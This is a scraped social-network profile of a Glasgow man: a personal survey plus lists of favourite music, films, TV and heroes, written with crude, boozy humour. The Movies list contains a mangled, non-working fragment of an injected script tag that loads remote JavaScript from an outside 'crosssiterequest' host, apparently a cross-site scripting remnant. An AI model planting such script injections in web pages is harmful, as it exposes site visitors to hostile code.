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BarryMac

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About Me

Once I can get my sodding camera to work I'll get a pic up .... oh aye ... and visit my wee brother's site .... he should be on my friends list at some point! Everyone else seems to have this so ....
TELL ME ABOUT YOURSELF - The Survey
Name: Barry
Birthday: June 19th
Birthplace:
Current Location: Glasgow
Eye Color: Blue
Hair Color: Brown
Height: 6'0"
Right Handed or Left Handed: Right
Your Heritage: Scottish
The Shoes You Wore Today: Puma things with Velcro ... its hard to tie your laces drunk
Your Weakness: Girls with a nice smile
Your Fears: I'm ashamed to say .....big fuck off spiders
Your Perfect Pizza: Spicey Sausage with 3 chillies from republic mmmmm
Goal You Would Like To Achieve This Year: To attend an old firm game we actually fuckin WIN!
Your Most Overused Phrase On an instant messenger: GODDAMMIT!
Thoughts First Waking Up: What Day is it?
Your Best Physical Feature: Eyes
Your Bedtime: About 10 mins after waking up on the couch with drool on my chin
Your Most Missed Memory: When my wee brother was shorter than me
Pepsi or Coke: Coke ...... ALWAYS coke
McDonalds or Burger King: McDs
Single or Group Dates: Single
Lipton Ice Tea or Nestea: At a push, Lipton
Chocolate or Vanilla: Chocolate
Cappuccino or Coffee: Coffee, black
Do you Smoke: Nope
Do you Swear: Yes, very well
Do you Sing: Only if I think no one can hear me!
Do you Shower Daily: Define daily ... my shower is kinda knackered the now!
Have you Been in Love: Oh Aye!
Do you want to go to College: Been thanks, would go back tho!
Do you want to get Married: In time, yes
Do you belive in yourself: A bit too much for my own good at times!
Do you get Motion Sickness: Nope
Do you think you are Attractive: Hmmm, sometimes .... depends how drunk I am! :)
Are you a Health Freak: Nope!
Do you get along with your Parents: Yes
Do you like Thunderstorms: As log as I am not in them! Its like a boxing match ... good to watch but sod being in one!!
Do you play an Instrument: Yes ..... my own
In the past month have you Drank Alcohol: Yes
In the past month have you Smoked: ummmm ... yeah, I as a bit drunk tho .... and its a great cure for a runny nose. Runny nose in the short term r Cancer when I'm 90? Pass the Marlborough.
In the past month have you been on Drugs: Um .... prescription?
In the past month have you gone on a Date:&..39;
In the past month have you gone to a Mall: Yes
In the past month have you eaten a box of Oreos: Um .... nope
In the past month have you eaten Sushi: Yes
In the past month have you been on Stage: Yes
In the past month have you been Dumped: Nope .... chance would be a fine thing!
In the past month have you gone Skinny Dipping: Nearly, but she woke up
In the past month have you Stolen Anything: nope
Ever been Drunk: A better question is have I ever been sober ... see the Heritage question
Ever been called a Tease: Ever? Yeah, but I'm pretty direct!
Ever been Beaten up: yip
Ever Shoplifted: yip ....football stickers from bessy's shop in primary 4 .... sorry bessy
How do you want to Die: happy!
What do you want to be when you Grow Up: A bum
What country would you most like to Visit: Japan
In a Boy/Girl..
Favourite Eye Color: Hmmm, I like Dark eyes
Favourite Hair Color: Again, I seem to go for Dark(ish) hair
Short or Long Hair: Long(ish)
Height: Doesn't really matter, but not too short!
Weight: As long as its not anywhere near a baby rhino, no problem! :)
Best Clothing Style: Their own, although I've always went for kinda indie chicks!
Number of Drugs I have taken: Um ....coke has a number?
Number of CDs I own: Too many to count, although I do love my iPod
Number of Piercings: none
Number of Tattoos: at the moment none, but speak to me in a week
Number of things in my Past I Regret: None, my mistakes have got me where i am today!
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My Interests

Football, fine wine, leather bound books and rich mahogany.

I'd like to meet:

Paul McCartney, just to ask him about the Beatles and What he ever Saw in Linda the vegie crusader, she must have been murder to be with on a tour bus after a bean casserole ... in fact, no make that Ringo Starr. Diego Armando Maradonna, the hand of God, footballing genius, Coke head and general Head Case .... are they sure he isn't from Glasgow? Julius Cesar a great figure from history ( and I might get invited to an orgy .... OK ONLY because I might get invited to an orgy), Napoleon, The girl who works on the 2nd floor @ my work ... dear god what an @rse shes got, when she was born the doc didn't slap it .... he cupped it! Billie Piper ... c'mon, if she'll marry Chris Evans she'll at least sleep with me ... and with those teeth you'd never need a bottle opener again.

Music:

I like pretty much everything! 60s soul to the streets to the Beatles to Frankie Miller and back to whaterver I'm lisening to now (DPT, Libertines, Racconteurs, Frattellis, the view and that kinda stuff) .... but with a definite leaning to being a bit of an indiekid! Top Tip .... Always avoid whichever band Jo Wiley on Radio 1 is touting as her latest discovery .... pish Jo pish.bob dylan subterranean homesick blues

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Movies:

Blazing Saddles, Taxi Driver, Anchorman the Legend of Ron Burgundy, The Usual Suspects, the great escape, Shrek 1 & 2. .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

Family Guy, American Dad, Still Game, Lost, Bullseye ( the old one!) Anything with Peter Kaye in it ( except coronation street) Songs of Praise, Match of the Day, High Times The Rockford Files and Columbo!And now a word from our sponsors And on a different note ....

Books:

I'll read anything! Especially if there are pictures of dirty ladies.

Heroes:

Eric Theodore Cartman, Jack McConnell ( how can someone get so far on so little talent?), Norm From Cheers, Jerry Sadowitz, Homer J Simpson, J V R Tennent, Glen Quagmire, George Best ( a shining Beacon to Bampots everywhere if only his dad had met Oliver Reid's mum), Pairs Hilton (see Jack Mcconnell, i think I'll name my first born girl Luton Ibis and see how she gets on. Obviously if I have a son he'll be called Adolf .... he did alright for himself), William Shatner, not only did he do a power of shagin in Star Trek: The Good One, but no matter how many times he was in Columbo ... he never ever got caught until right at the end! Genius how he used to hide his previous from the grotty wee rozzer! Bruce Forsyth, made a career out of a catchphrase and married a Miss World Winner half his age .... I salute you! Rodger Mellie, like Brucie, but with swearing. Shaft, hes a complicated man, and no-one understands him but his woman...